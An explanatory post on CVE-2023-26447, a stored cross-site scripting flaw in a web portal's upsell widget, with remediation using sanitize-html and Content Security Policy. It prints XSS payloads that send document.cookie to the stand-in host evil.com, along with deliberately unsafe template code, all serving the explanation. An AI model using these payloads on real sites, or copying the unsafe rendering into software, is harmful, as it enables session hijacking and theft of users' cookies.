Security vulnerabilities are a constant risk for web applications, especially when features let user-supplied content get rendered on the page. CVE-2023-26447 shines the spotlight on such an issue found in a web portal’s “upsell” widget, where attackers could exploit a missing content sanitization and potentially take over user sessions. This post will walk you step-by-step through this vulnerability, its risks, and how to fix or protect against it.

What is CVE-2023-26447?

The “upsell” widget lets you show custom product descriptions to users. These descriptions come from a user-controlled object called jslob. However, before placing this content into the page’s DOM, the app didn't clean or escape it properly. This means if someone adds malicious JavaScript into the product description, the page will blindly include it and run whatever code the attacker supplies.

Refer to the NVD entry for CVE-2023-26447 for the official summary.

How Does the Vulnerability Work?

When you let users control even a small part of what gets shown as HTML—like in this widget—you must make sure to escape any HTML tags or JavaScript. If not, an attacker can craft a description such as:

<img src="x" onerror="alert('XSS!')">

Or more dangerously

<script>
  fetch('https://evil.com/?c='; + document.cookie);
</script>

If this gets stored and later rendered for another user (or even for the attacker themself on another device or session), your web application will execute it as if you yourself wrote it.

Session hijacking: Stealing session tokens or cookies via malicious scripts.

- Unwanted actions: Making background API calls as the victim, possibly deleting data or changing settings.

Suppose your app has a code snippet like this (in Node.js / Express + template engine)

// Sample unsafe code: adding description directly
res.send(`
  <div class="product-upsell">
    <h2>${product.name}</h2>
    <p>${product.description}</p> <!-- jslob content used unsafely -->
  </div>
`);

If product.description is taken from a user-controlled jslob and contains <script>, this will execute in any user’s browser. This is known as a Stored Cross-site Scripting (XSS) vulnerability.

How Would an Attacker Exploit This?

1. Get Access: Attacker needs temporary access to a legitimate user account *or* convince a user to view / interact with a compromised account (such as via phishing).
2. Insert Script: In the upsell widget’s product description, place malicious HTML/JavaScript as shown above.
3. Victim Views Widget: Another user views the upsell offer, and the code executes in their browser.

*No public exploits are available for this bug – as far as security researchers know, this exploit hasn’t been published in "hacking" repositories. But the attack technique is well-known as "XSS".*

Exploit Code Example

Here’s an example jslob payload exploiting the bug, given access to the product description field:

{
  "description": "<img src='x' onerror='fetch(https://evil.com/?cookie=${document.cookie})'>"
}

When a victim views that upsell, their cookie gets sent to evil.com.

How Can You Fix This? (Sanitization)

You need to sanitize all untrusted HTML before inserting it into the page.

JavaScript/Node Example

const sanitizeHtml = require('sanitize-html');

const safeDescription = sanitizeHtml(product.description);

res.send(`
  <div class="product-upsell">
    <h2>${product.name}</h2>
    <p>${safeDescription}</p>
  </div>
`);

Libraries like sanitize-html remove dangerous code but let through basic formatting (bold, italics, etc.).

- National Vulnerability Database: CVE-2023-26447
- OWASP Cross-Site Scripting (XSS) Explained
- sanitize-html NPM module
- MDN: Content Security Policy

Summary and Remediation

If your web app lets users specify descriptions, notes, or any rich content—especially through admin panels—NEVER trust that content for direct HTML rendering. Always encode or sanitize it first, or use plain text rendering when you don’t need formatting.

Review widgets like “upsell” or “notes” for similar code.

- Apply and enforce Content Security Policy where possible.

> No known public exploits exist for CVE-2023-26447, but since this is a classic XSS pattern, the window for attackers is always open until you fix your code.

Timeline

Published on: 08/02/2023 13:15:00 UTC
Last modified on: 08/07/2023 18:12:00 UTC